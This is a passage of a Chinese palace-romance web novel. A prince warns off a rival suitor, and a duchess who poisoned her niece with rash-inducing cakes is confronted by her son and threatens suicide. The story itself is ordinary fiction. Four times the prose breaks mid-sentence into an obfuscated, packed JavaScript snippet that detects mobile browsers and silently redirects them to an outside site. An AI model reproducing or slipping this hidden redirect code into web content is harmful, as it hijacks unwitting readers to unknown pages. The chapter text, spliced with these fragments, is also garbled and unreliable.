谢翊宁伸手拎起发冠,眉心微皱。
他隐约记得去年卫国公府为自家姑娘办及笄宴时,所用的整套头面,都没有眼前这一副来得贵重吧?
他原是不晓得这事的,但耐不住有个爱炫耀的表妹。
福安去年参加了裴芜的及笄宴,瞧上了她的那套头面,硬是缠着朝华长公主给她打了副更贵重、更扎眼的。
自那之后,她隔三岔五戴出来炫耀一番,恨不能让宫里的锦鲤都知晓她这份体面。
如今裴芜送来的这副头面,比福安炫耀的那份要更好上一层楼。
这样价值不菲的珍品,裴芜若有为什么不自己用,反倒拱手送给了婋婋。
这完全不合理。
怕不是有人借了裴芜的手,送给婋婋?
谁会有这么大的本事呢?
一个人名在眼前呼之欲出。
卫国公府的继承人,裴芜的堂兄,裴明镜。
唯有他,才能拿得出这样的好东西。
可是裴明镜好端端的,为什么要给婋婋送这样的东西,还用这种偷偷摸摸的手段?
谢翊宁收紧了握着发冠的手指,脸色变冷。
还能因为什么。
无非就是见色起意,觊觎他的婋婋呗。
谢翊宁反手将发冠丢回锦盒,珠钗相撞发出清脆的声响。
察觉到他的不高兴,棠云婋抬头看向他:“怎么了?”
“这……”谢翊宁想让她把这玩意扔了,又说不出口。
毕竟在婋婋看来,这是好友所赠,没有理由扔掉,他若提出来反倒显得他无理取闹。
但让他说出他的猜测,他又不愿。
万一婋婋不知道裴明镜狼子野心,他这一说穿,反倒让婋婋留意上裴明镜了,多不好。
不行不行。
谢翊宁又否决了自己的想法。
他支支吾吾,反倒引起了棠云婋的好奇,她忍不住追问:“这什么?”
“这好像比我给你送的那套头面都好看,你不会更喜欢这一套吧?”谢翊宁委屈巴巴地看着她。
“怎么会!”棠云婋当即否认,语气斩钉截铁。
“你送的就是最好的,我最喜欢的。没有人能越过你去!”
有了她这句话,谢翊宁脸上重新浮起了笑意。
他伸手将锦盒扣上,决定让照夜贿赂一下衔蝉,日后将这套头面藏起来,藏在那永远见不得天日的地方,最好让婋婋一辈子都想不起来,一次都别用上。
省得哪天戴出门被裴明镜看到,暗暗窃喜。
他将扣上的锦盒往里一推,随后又拉着棠云婋坐到了椅子上,闲聊了起来。
“之前不是说好裴芜给你当赞者的么,怎么变成嘉敏了?”
他提起这事,棠云婋便竹筒倒豆子似的把今日发生的危机都说了出来。
随后又补充了一句。
“阿芜绝对不是那种出尔反尔的人,她答应了我要来,就肯定会来。出了这样的事,她定然也很难过。”
谢翊宁若有所思地点了点头。
裴芜没来,若嘉敏郡主不在,婋婋在京中又没有几个交好的千金小姐。
今儿这及笄礼,只怕一时半会儿都寻不着合适的人当赞者。
若临时抓个人来凑数,保不齐会出什么岔子,到时候丢的可是婋婋的脸面。
裴芜忽然起的红疹子缺席及笄礼,当真是意外么?
*
卫国公府。
裴芜对着铜镜左
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225091|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞧右瞧,看见脸上那些红疹子总算淡下去了,才长长舒出一口气。
今日可真是吓死她了。
一觉醒来,脸上、身上突然冒出大片红点子,又痒又肿。
她当场就慌了神,声音都带了哭腔,连忙催丫鬟去请大夫。
灌下去两碗苦得舌根发麻的药,又糊了一层清清凉凉的药膏,如今总算见了效。
“这疹子真退干净了吗?你再看仔细点,这边上是不是还有点红?”她拧着身子,扯着身旁的大丫鬟璎珞问了一遍又一遍。
璎珞被她问得没法子,只得凑近了又看一遍,无奈道:“小姐,真消了,就还剩一点点印子,不仔细瞧根本看不出来。”
这下裴芜才真的放下心来。
但随即,另一股懊恼涌上心头。
她竟然错过了婋婋的及笄宴!
请帖早早收了,新衣裳备下了,流程也走过了,偏偏临门一脚出了这档子事。
她几乎能想象到宴席上的热闹,还有婋婋找不见她时失望的眼神。
裴芜越想越难过,抱着膝盖呜呜地哭了起来。
门帘一挑,裴二夫人走进来就看到了这一幕,顿时心疼地上前将她搂在怀里。
“莫哭莫哭,哭了脸上的药膏花了,那可就没用了。”
裴芜听到这话,止住了哭声。
她抬起头,委屈全写在了脸上:“娘!您瞧我这脸!怎么偏偏是今日呢。”
“我都答应去给郡主当赞者了,如今失约,她肯定很生气,以后会不会都不理我了?”
裴二夫人赶忙安慰女儿:“傻孩子,郡主岂是那种小肚鸡肠的人。你这是事出有因,她心疼你还来不及,怎么会怪你?”
她拿着帕子,轻轻拭去裴芜脸上的泪痕,语气温柔。
“等你好利索了,娘亲自带你去摘星山庄解释,再备上一份厚礼,这事儿就过去了。”
裴芜抽噎着点点头,稍稍安下心来。
她压根等不及,第二日确定自己脸上身上的红疹子都消退了,便立刻央求母亲领她去见棠云婋。
裴二夫人见女儿心急,也不再阻拦,递了拜帖,得了回应便亲自领着她去了摘星山庄。
第383章 终于想起来
棠云婋见到裴芜,不等她行礼便拉着她上下打量了起来,脸上满是关心:“阿芜,你怎么样了?红疹子可消退了?”
裴芜见她毫无怪罪之意,反而先关心自己,鼻子一酸,有些想掉眼泪。
她连忙低下头道:“我没事了。郡主,对不住……我、我本来答应你要做赞者的,都怪我。”
裴二夫人在一旁也是一脸愧疚。
她替女儿解释了起来:“郡主莫怪,这丫头昨日起来,脸上身上起了好大一片红疹,又痒又肿,实在没法见人,这才误了郡主的大事。”
随后,她简单将请医吃药的事说了一遍,只道是可能吃错了东西,这才引发了风疹。
棠云婋听得仔细,握着裴芜的手轻轻拍了拍:“人没事就好,一个赞者而已,换了谁都是一样的仪式,你的身子最重要。”
裴芜感动得两眼泪汪汪。
她就说了吧,婋婋是好姑娘。
大堂兄还非得说婋婋心眼子多。
明明是他这人自己心眼子多,看谁都心脏!
没等她在心底感慨完,就听到棠云婋开口询问:“吃错了东西?阿芜,你昨日都吃了些什么?”
裴芜老实回答:“就是些寻常的饭菜和点心。”
“你再仔细想想,就没什么特别的吗?”棠云婋继续追问。
昨日她和王爷聊过了,总觉得裴芜的红疹子起得有些突然,背后或许有什么隐情。
裴芜仔细想了一下,随后“啊”了一声。
“还真有!”
裴二夫人和棠云婋都紧紧盯着她,等着她继续说下去。
裴芜被她们盯得紧张,但还是继续说了下去。
“昨日大伯母命人给我送了糕饼。”
“送来的丫鬟说大伯母在佛堂里日夜诵经为家中众人祈福,这是她供在佛前整整一夜的如意糕,能祛病消灾,保佑平安。还特意嘱咐我,一定要诚心吃完,才能显灵。”
裴二夫人只觉得一股寒气从心底冒起,随即又被汹涌的怒火覆盖。
阿芜何处得罪了大嫂,大嫂竟然要用这样阴毒的手段害她?
棠云婋露出了恍然大悟的表情。
裴芜的大伯母……
窦淑容?
她不是都被裴明镜关到佛堂里礼佛了么,怎么手还伸得了那么长?
窦淑容和裴芜这个隔房侄女无冤无仇,那么显而易见,就是冲她来的了。
若非她及时寻到了顶替的赞者,一旦及笄礼因无人赞佑而出了纰漏,或仓促间换了不靠谱的人闹出笑话,最终折损的都是她这个郡主的颜面。
窦淑容这是自己被关进了佛堂,也不让她好过,存心要在她大好的日子给她添堵呢。
裴芜说完,也后知后觉地反应了过来。
“难不成,是大伯母……”
她满脸的茫然和不可置信。
她是裴家的女儿,与大伯母无冤无仇,大伯母害她做什么?
“阿芜!”裴二夫人紧张地开口打断了女儿。
“无凭无据的事情,不要乱讲。你大伯母怎么会做那样的事情。”
她已经反应过来了。
从令嘉郡主还是定远侯府大小姐那时候开始,大嫂就对她各种不满。
昨日是令嘉郡主的重要日子,大嫂出不了国公府,却依旧想要毁了郡主的及笄礼。
所以才会利用阿芜。
但这事万万不能拿到台面上来说,那样的话,郡主追究起来,她们都逃不了。
棠云婋知道裴二夫人在想什么,她没有继续揪着这事不放,只是长长地吐出了一口气,握着裴芜的手,语重心长道:
“幸好你没出什么事。若你没忍住,抓挠了那些红疹子,怕是要留下疤痕,日后还怎么嫁人?”
棠云婋这话戳中了裴二夫人的心思。
她不由自主地伸出手,紧紧攥住了女儿的胳膊,力道之大,让裴芜忍不住轻轻“嘶”了一声。
是啊!
若阿芜昨日没能忍住那钻心的痒,在那细嫩的脸颊脖颈上抓挠出几道血痕……
裴二夫人简直不敢再想下去。
女儿家最重要的便是容貌,如今阿芜正在议亲的紧要关头,若真留了疤,便是日后说破了天去,也难寻一门好亲事。
裴二夫人心底一阵后怕。
棠云婋将裴二夫人瞬间苍白的脸色和眼底翻涌的惊怒尽收眼底。
她知道火候差不多了。
裴二夫人这般疼爱裴芜,如今卫国公府乃是她当家做主,想必窦淑容之后的日子不会好过。
裴芜也害怕地摸了摸自己的脸。
若是不小心毁容了,那她真就不想活了。
裴二夫人这下是彻底坐不住了。
她将道歉的礼物送上,又说了一些好听的话,随后便匆匆领着裴芜离开了。
她们母女走后,衔蝉上前询问:“郡主,这事可否告知王爷?”
“嗯,你让人给他传信吧。这事多半就是窦淑容干的了。”棠云婋点了点头。
昨日她和谢翊宁说好了,裴芜的事如果另有隐情,就一定要告诉他。
“是。”衔蝉当即应下,命人快速将消息传去了永安王府。
谢翊宁收到消息,眉毛一挑。
窦淑容?
她为何那么恨婋婋?
难不成是因为定远侯中毒身亡那件案子,婋婋让她损失了一个心腹嬷嬷?
可这关婋婋什么事。
还不是她立身不正,让人去下了药,不然怎么会查到她卫国公府头上。
谢翊宁又想起了冰嬉宴的事情。
那会儿卫国公夫人就扬言要赶婋婋出宴会,她们之间到底是什么仇什么怨。
他继续苦思冥想,终于想起来了。
温如霜被马儿踩断腰没多久,在棠云婋受伤的时候,卫国公夫人去过一次定远侯府。
那会儿衔蝉还在棠云婋身边伺候着,见证了两人争吵的全过程。
卫国公夫人说棠云婋是来路不明的野种,给裴明镜做妾都不配。
棠云婋当时反驳她说了什么来着……
“您实在是多虑了。不仅我不想嫁去你们国公府,这满京城里但凡心疼闺女的人家,谁舍得把掌上明珠往火坑里推。”
“满京城里谁不知道你挑儿媳妇眼高于顶。”
“就算是天上下凡的仙女给你当儿媳妇,你也能挑出各种毛病来。”
“依我看啊,就该把裴大人变成一块传家宝,让您日日捧在掌心里疼着。你们母子俩过一辈子得了,要什么儿媳妇啊。”
衔蝉将消息传回来时,把她的话模仿得惟妙惟肖,逗得他哈哈大笑。
当时他就觉得他的小恩人真是个人才。
瞧这话说的,都不带一个脏字,却杀伤力十足。像软刀子似的,刀刀往人心窝子上戳。
多么聪慧!多么解气!
谢翊宁脸上不自觉地勾起了唇角。
但随后他又将唇角压了下去,敛起了笑意。
窦淑容真当自家儿子是镶了金嵌玉的香饽饽,全京城的姑娘都该抢着要?
他的婋婋可是九天之上最耀眼的星辰,皎洁明亮。
他这个家世品行样貌样样都拔尖的人,有时候还觉得自个有些配不上婋婋呢。
窦淑容什么货色,也敢嫌弃他的婋婋。
还敢把她那二十二了还未成婚的老儿子跟婋婋相提并论?
呸。
真能做梦。
想到裴明镜借裴芜之手送出去的头面,谢翊宁当即做出了决定。
他必须得出手,斩断裴明镜不切实际的幻想,顺便让他好好管教管教他那个不懂事的老母亲。
若他管不好,那他就勉为其难受累替他教训一二。
第384章 有什么私情
裴芜与母亲一同回到卫国公府,当即就要往佛堂方向去寻大伯母窦淑容问个明白。
刚走两步,裴二夫人就拦住了她。
“母亲?”裴芜愕然,不解地看向母亲。
裴二夫人一路强压的怒意此刻在胸中翻腾,但她眼底更多的却是深思过后的冷静与忌惮。
她将女儿拉近些,压低声音道:“傻孩子,不可冲动。”
“你大伯母即便被你大堂兄禁足在佛堂,她身上也还担着卫国公夫人的诰命,是这府里名正言顺的女主人。”
“我们无凭无据,仅凭猜测就直接去审她院里的人,兴师问罪,这叫以下犯上,不合规矩,更落人口实。”
她何尝不想立刻撕破窦淑容那伪善假面。
可那碟糕饼早已入了肚,碗碟只怕也早已洗净收拾妥当,她们手里没有实实在在的物证。
此刻若贸然冲去,窦淑容只需矢口否认,反咬一口她们二房趁她禁足故意刁难、栽赃陷害,她们只怕是有口难言。
如今府中中馈虽由她管着,可说到底,她也只是一个代管。
窦淑容若真被逼急了,不管不顾地闹将起来,撕破脸皮要分家怎么办。
如今女儿正值相看人家的紧要关口。
若此时分家,她便不再是卫国公府正儿八经的嫡出小姐,这身份名头一落,女儿的亲事怕是挑不到更好的。
裴芜闻言,眼圈更红了几分,声音里带着浓浓的不甘:“母亲,难道我们就这样忍气吞声,吃了这个哑巴亏吗?”
她嘴上虽这样问,心里却已明白母亲的顾虑是对的。
自己此刻若贸然去闹,无凭无据,只会打草惊蛇,反被倒打一耙。
“当然不能。”裴二夫人斩钉截铁地摇头。
“我们不好直接与你大伯母对峙,但自有能主持公道的人。”
裴芜一怔,随后脱口而出:“大堂兄?”
裴二夫人点了点头:“你就去找你大堂兄,将这件事原原本本地告诉他。”
“见了他,你不必争辩,也不必说太多是非对错。就冲着他哭,把你昨日的害怕、身上的难受、心里的委屈,都哭给他看。”
“你大堂兄曾任京兆尹,审过多少案子,最是明察秋毫。其中蹊跷,他一听便知。”
裴芜听到这话,脸上却露出一丝迟疑:“可是,大伯母终究是大堂兄的亲生母亲……”
“傻孩子。”裴二夫人打断女儿的话,双手扶住她的肩膀,目光灼灼地看着她。
“你只管信母亲。母亲这些年来,可曾有一件事是害你的?”
裴芜摇了摇头。
“所以啊,你只管去吧。”裴二夫人摸了摸女儿的头。
“记得,一定要提到令嘉郡主的及笄礼,强调你缺席的后果。”
明镜为人正直,此事关乎家族安宁,他绝不会坐视不理。
更何况,此事还牵扯到了令嘉郡主,明镜定然不会轻易放过。
大嫂被禁足佛堂之后,明镜便辞了官。
她总觉得这不对劲。
明镜最喜欢的就是查案办案,好端端的,怎么辞官了。
于是她便暗中打听。
不打听不知道,一打听吓一跳。
她总算知道那日为什么大嫂会和裴明镜吵得那么厉害了。
原来是为了定远侯府的大小姐。
大嫂对定远侯府大小姐有多讨厌她是看在眼里的,而明镜却对那姑娘有情。
大嫂的心腹还间接害**人家的养父。
两人恐怕再没有将来了。
但她看着,明镜似乎放不下那姑娘。
不然他不会离开京兆府之后,还托人多照顾她。
也不会悄悄准备了一整套那样贵重的头面,让女儿送去给她当及笄礼物。
更不会得知皇上给令嘉郡主和永安王赐婚后,在院中枯坐了一整晚。
裴芜不明白母亲为什么她哭诉时候多提棠云婋,但她还是乖乖地点了点头。
她深吸一口气:“好,我听母亲的,我这就去寻大堂兄。”
她当即去了裴明镜的院子。
不曾想,裴明镜竟然不在家。
“那大堂兄去哪了?”裴芜一怔,赶忙询问院子里的小厮。
“小的不知。”小厮摇头。
*
“裴大人,哦不,裴世子,好久不见。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227906|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
正从城南回来的裴明镜,被人拦住了。
他看着面前的谢翊宁,面无表情道:“见过永安王。”
“本王有要事同世子说,可否上车一叙?”谢翊宁冲他招了招手。
裴明镜摇头,脚步未停,绕过马车:“我与王爷不熟,恐怕没什么可叙的。”
谢翊宁也不恼,只慢悠悠地丢出一句:“事关你的母亲,还有令嘉郡主。”
一句话便留住了他。
裴明镜沉默片刻,终于还是转过身,利落地掀开车帘,坐进了谢翊宁那宽敞得过分的马车里。
车外的停云立刻带着护卫散开,警惕地守住了四周,防止旁人偷听。
“王爷想说什么?”
裴明镜坐得笔直,目光平静地看向对面慵懒靠着软枕的谢翊宁。
谢翊宁嘴角噙着笑,眼神却没什么温度:“也没什么大事。就是想提醒世子一声,往后呢,离本王未来的王妃远点儿。”
裴明镜眉头微不可查地蹙了一下。
谢翊宁像是没看见,继续慢条斯理地说:“你借裴芜的手,送到她那儿的头面,太扎眼了。”
“她不缺这些庸俗的玩意。她是本王未来的王妃,好东西多得是,本王的东西都是她的,就不劳世子费心了。”
裴明镜的下颌线似乎绷紧了一瞬,但语气依旧冷淡。
“王爷误会了。那只是裴芜与郡主私交甚笃,姐妹间的寻常赠礼,与我无关。”
“与你无关?”谢翊宁像是听到了什么笑话,轻笑一声。
“裴明镜,你这点心思,骗骗旁人还行。本王不是瞎子,更不是傻子。”
他坐直了些,身体微微前倾,带着一种居高临下的压迫感。
“你这般不清不楚地借着堂妹的名目送东西,若是被有心人查出,你以为一句与你无关就能撇清么。”
他顿了顿,语气重了几分,带着明显的警告。
“若本王是个心胸狭窄的,疑心她与你有什么首尾私情,你让她日后如何自处?”
“我们大婚之后,若因此生出嫌隙,夫妻不睦。”
“裴明镜,你又该当何罪?”
第385章 他说喜欢她
裴明镜下颌线微微绷紧,平静的脸上终于出现了变化,好似一道完美的面具终于有了裂痕。
他冷声道:“永安王慎言!郡主清誉,岂容你如此臆测污蔑。”
谢翊宁没有因为他的话而生气,只是冷笑一声:“本王自然是相信我的王妃。她那么好,被癞**惦记又不是她的错。”
裴明镜:“……”
他还是头一回被人形容成瘌**。
谢翊宁话锋一转,语气更冷:“你可知裴芜为何忽然起了满脸疹子,不能去给婋婋当赞者?正是你的好母亲干的。”
裴明镜的脸色瞬间白了几分,他脱口而出:“不可能。”
阿芜可是裴家的孩子,母亲不可能糊涂到对自家人下手。
“可不可能,裴世子回去一查便知。”谢翊宁步步紧逼。
“你母亲对婋婋的厌恶也不是一天两天了。”
“最早她就放话,说有她的地方不允许婋婋出现。”
“后来更是因为你,让心腹去定远侯府给婋婋下药。只可惜,她蠢,没成功。”
“这一回,她为了毁掉婋婋的及笄礼,不惜给亲侄女下药,让她缺席及笄礼。”
“若非嘉敏郡主救场,婋婋差点就当众出丑,成了全京城的笑柄!”
谢翊宁的一字一句如同钢刀**了裴明镜的心里。
他脸色变得愈发苍白。
谢翊宁却没有停下来,语气里的威胁愈发清晰。
“你以为你明面上不与婋婋往来,窦淑容就会放过婋婋吗?我告诉你,你只要一日不娶妻生子,她便一日盯着婋婋不放。”
“裴明镜,收起你自以为是的深情,管好你那蠢得要命的母亲。给你一天时间,你若管不好,届时本王自会出手。”
裴明镜藏在心底的秘密被谢翊宁当面捅破,还是以如此不堪的方式。
震惊、羞耻混合着愤怒猛地冲上心头,让他一时竟说不出反驳的话来。
裴明镜猛地抬眼,眼底情绪翻涌,痛楚、难堪、悔恨,但最终都被他强行压下,趋于平静。
他沉声道:“王爷说完了?若再无他事,裴某告辞。”
不等谢翊宁回应,他便掀开车帘,径直下了马车。
午后的阳光有些刺眼,落在他略显苍白的脸上,他微微眯了下眼,快步离开。
走在熙熙攘攘的街道上,周遭的喧闹仿佛隔了一层厚厚的琉璃,模糊而不真切。
他有一丝恍惚。
“若本王是个心胸狭窄的,疑心她与你有什么首尾私情,你让她日后如何自处?”
“我们大婚之后,若因此生出嫌隙,夫妻不睦。”
“裴明镜,你又该当何罪?”
永安王的话一句一句浮现在耳边,裴明镜绝望地闭上了眼睛。
他从未想过要她回应,更从未想过要破坏她的姻缘。
他只是希望她好,希望她在所有重要的时刻,都能圆满顺遂。
却没想到,自己这份小心翼翼藏起来的念想,经由他人之手送出的东西,竟会给她带来如此大的潜在风险,成为可能被人攻讦她清誉的把柄。
还有母亲……
想到母亲竟因厌恶棠云婋,对裴芜下药,险些毁了棠云婋人生中极为重要的及笄礼。
他心底便涌起一阵懊悔和后怕。
他知道母亲不喜云婋,却不知已偏执狠辣至此。
而他,身为儿子,竟对此毫无察觉,未能及时阻止。
他口口声声说喜欢她,可他的喜欢带来了什么?
是让她险些在及笄礼上丢尽颜面的潜在危机?
还是让她被未来夫君质疑、可能影响婚姻幸福的莫须有嫌疑?
他的喜欢,于她而言,不是慰藉温暖,而是负累,是困扰,是可能将她拖入泥潭的枷锁。
裴明镜嘴角扯出一抹苦笑。
他再睁开眼时,眼底只剩下一片荒芜的决绝。
谢翊宁说得对。
他该离她远点。
彻彻底底地,干干净净地。
这才是他唯一能为她做的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227907|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,最后一件,也是真正对她好的事。
从此以后,棠云婋只是永安王妃,与他再无半分瓜葛。
他那份不见天日的喜欢,就该烂在心里,带进坟墓,永远永远,不能再给她增添一丝一毫的困扰。
*
裴明镜恍惚地回到了卫国公府。
刚走到院子,就看到了哭红了眼睛的堂妹裴芜。
“大堂兄……呜呜呜……我好害怕,你帮帮我吧……”
裴芜见到他,如同见了主心骨,泪水落得更急,抽噎着几乎说不出完整的话。
裴明镜心下一沉,想到了谢翊宁先前说的事情,他连忙扶住她:“阿芜,你别急,慢慢说,发生何事了?谁欺负你了?”
裴芜按照母亲的嘱咐,并不急着马上告状,只抬起哭得红肿的眼睛,伸出还剩下些许红痕的手腕,泣不成声。
“昨日我不知吃了什么不该吃的,身上突然起了好多红点子,又痒又痛,险些、险些就毁了容……还因此错过了令嘉郡主的及笄礼……”
她哭得真情实感,将昨日的惊恐和委屈宣泄得淋漓尽致。
裴明镜沉声道:“别哭,你昨日都吃了什么东西,接触过什么人,一句一句,慢慢说。”
裴芜像是被他提醒了才想起来,抽抽搭搭道:“就是些寻常饭菜。哦,对了,大伯母身边丫鬟送了一碟佛前供过的如意糕给我,说是大伯母的心意,让我务必独自吃完。”
谢翊宁说过的话一点一点被验证。
裴明镜脸色铁青,心底一片火在烧,但面对堂妹,还是换上了一副温和的语气:“阿芜别怕,大哥知道了。此事,大哥定会给你一个交代。”
他语气平静,眼底却已凝出一片寒冰。
无需多问,有了谢翊宁的提醒和裴芜的话,他已推断出七七八八。
但凡事都要讲证据。
他当即命心腹随从:“去,将昨日佛堂当值的下人,以及母亲院里的丫鬟,立刻分开看管起来,我有话要问。”
第386章 下个月完婚
审问完了所有的下人。
裴明镜神色凝重的站在佛堂外的青石阶上,日光将他的身影拉得老长。
院里静得吓人,下人们远远站着,大气都不敢出。
裴明镜深吸一口气,推门而入。
窦淑容跪在蒲团上念经,手里撵着佛珠,听到动静,连眼皮都没抬。
“母亲。”裴明镜开口,声音平稳得听不出一丝波澜。
窦淑容这才缓缓睁开眼。
她目光扫过他身后严阵以待的随从,眉头蹙紧:“你这般阵仗,是想做什么?”
裴明镜缓缓开口:“来问母亲一件事。”
“昨日,您是否让身边人给阿芜送了一碟如意糕?”
窦淑容捻着佛珠的手顿了顿,随即冷笑:“是又如何?供过佛的糕点,赐给晚辈沾沾福气,这也有错?”
“阿芜昨日吃了那糕后,浑身起了骇人的红疹,又痒又痛,险些毁了容貌,也错过了郡主的及笄礼。”裴明镜盯着母亲,不错过她脸上任何一丝细微变化。
窦淑容眼中飞快地闪过一丝几不可察的得意,随后被恰到好处的惊讶覆盖:“竟有这事?阿弥陀佛,定是那孩子自己吃了什么相克的东西,或是冲撞了哪路神仙。”
顿了顿,她露出一副愤怒的表情。
“你莫不是想说是我害了她?”
“她可是裴家的孩子,我害她做什么。”
窦淑容打死不认。
裴明镜面无表情道:“你是不是以为糕饼已经吃完,盛放糕饼的碗碟也清洗干净,我毫无证据,不能把你怎么样。”
窦淑容被他戳中了心思,心下一惊,恼羞成怒道:“休要胡言!我可是你的母亲,我堂堂卫国公夫人,怎么会做这种事情,来害自家的侄女。”
裴明镜一字一句道:“很快就不是了。”
窦淑容一怔:“你,你什么意思?”
她心底没由来的一阵恐慌。
她知道这个儿子一口唾沫一口钉,他说过的话,就一定会做到。
难不成,他还能替父休妻不成?
想到他不可能这么做,窦淑容的腰杆又挺直了一些。
裴明镜淡淡道:“您如今头顶的卫国公夫人尊称,是因为父亲不在了,而我,作为嫡长子,尚未正式请封袭爵,您才得以保留这个虚名。”
大虞律法规定,男子及冠方可请封世子;若要袭爵,则需在其成婚后且其父亡故之时请封。
他因迟迟未婚,故一直仅为卫国公世子,未能承袭为新的卫国公。
但如今,他决定不等了。
“我下个月会完婚。礼成之后,我便会以嫡长子、已故卫国公唯一继承人的身份,即刻上奏陛下,请旨承袭卫国公之位。皇上念及父亲功勋,必会恩准。”
他盯着母亲瞬间失血的脸,一字一句,缓慢而清晰:“届时,我成了新的卫国公,便会恭送母亲,归原籍别院静养。”
窦淑容脸色顿时大变,她尖叫道:“你要成婚?我这个当母亲的怎么不知道?谁?你要娶谁家的女儿?”
比起被遣回原籍别院静养,她更在乎儿子娶妻一事。
裴明镜没有顺着她的话回答,只是冷漠地开口:“你若说实话,诚心诚意跟阿芜和二婶道歉,我可以留你参加婚宴,让你喝上一杯儿媳敬的茶。若你还要继续狡辩,那我明日便派人将你送走。”
他不成婚。
母亲不会善罢甘休,永安王也不会安心。
他已经害了棠云婋被误会一回,不能继续再错下去。
唯有他早日成婚,才能结束这一切。
“不!你不能这么对我!”
窦淑容猛地从蒲团上站起,因为动作太急,身子晃了晃,脸上血色尽褪,只剩下歇斯底里的苍白。
“我是你母亲!我辛辛苦苦把你养大,你就是这么报答我的?为了一个外人,你要把你亲生母亲赶回老家去?!”
裴明镜看着她,眼神里没有半分动摇,只有更深的疲惫和冰冷。
“辛辛苦苦把我养大?”他重复了一遍,语气里带着一丝嘲讽。
“母亲,抚育我的是乳母,教导我的是书院的先生,护卫我安全的是父亲留下的亲兵。”
“您挥霍的是父亲留下的钱财,驱使的是父亲留下的人手。甚至您如今还能安稳地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227908|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在这佛堂里静思己过,而不是被直接送去衙门问罪,也是因为我顾及了卫国公府的颜面。”
“毕竟,我不能让父亲的英名沾上污点。”
每一个字都像一记耳光,狠狠扇在窦淑容脸上。
污点?
她生出来的儿子竟然将她视作污点?
她的脸顿时扭曲起来。
“是!是我做的!那又怎样!”她尖声叫道,彻底豁出去了。
“我就是不想让裴芜去那个野种的及笄宴!”
“一个贱民生的野丫头,侥幸得了贵人的恩典,就痴心妄想当自己是正经主子了?!”
裴明镜一直静静地听着她发泄,直到她吼得喘不过气,才冷漠地开口:“所以,你是选择道歉,还是明日就启程回原籍?”
窦淑容被他这油盐不进的态度逼得彻底崩溃了。
“你、你是要逼死我不成么?”
“你这样,我,我活着还有什么意思!不如**干净!”她哭喊着,猛地朝旁边的柱子撞去。
旁边的丫鬟婆子吓得惊呼出声,赶忙冲上去拦她。
窦淑容却使劲地想往柱子上撞,她一边挣扎一边哭喊道:“让我死吧,活着也只是碍儿子的眼。”
裴明镜站在原地动都没动,只是冷冷地开口:“母亲现在若撞死在这里,我要为您守孝三年。”
“三年孝期,我不能婚娶,不能袭爵,要等到二十五岁。”
“母亲,您确定要为了逞一时之气,耽误儿子三年吗?”
“父亲在天之灵,若知道您临到头还要这样毁我姻缘前程,您觉得,他会怎么想?”
窦淑容额头离那柱子只有一寸之遥时,动作僵住了。
她浑身的力气被裴明镜一句话给抽空了。
她倚靠着丫鬟,缓缓滑落在地,瘫软在地。
死?
她不敢**。
**,就真的什么都没了,还要背上耽误儿子,对不起亡夫的天大罪名。
她趴在地上,绝望地嚎啕大哭了起来。
裴明镜看着她,脸上没有一丝怜悯。
“母亲,我最后问你一次,是道歉,还是回老家?”
第387章 脸往哪里搁
窦淑容哭声渐渐低了下去,变成了压抑的、绝望的呜咽。
良久过后,她抬起头,发髻散乱,妆容狼藉,眼中一片死灰。
“我,我去道歉。”她从牙缝里挤出了这几个字。
裴明镜这才微微颔首,眼神依旧冷硬,扫向了一旁的丫鬟和仆妇。
“替夫人收拾一下,一会儿随我一块去漪澜院。”
“是。”丫鬟们赶忙应下。
窦淑容像一个木偶娃娃,任凭丫鬟们替她梳洗打扮,随后木着一张脸,去跟裴二夫人和裴芜道歉。
漪澜院里,气氛凝重。
裴二夫人搂着眼睛红肿的女儿,看着被两个丫鬟半搀半扶进来的窦淑容,脸上惊疑不定。
大侄子这是搞定了,还是没搞定?
裴芜看着向来高傲跋扈的大伯母如此狼狈的模样,也吓了一跳。
窦淑容被按着坐在下首的椅子上,眼神空洞,嘴唇死死抿着,看起来十分憔悴。
裴明镜率先开口:“二婶,阿芜。”
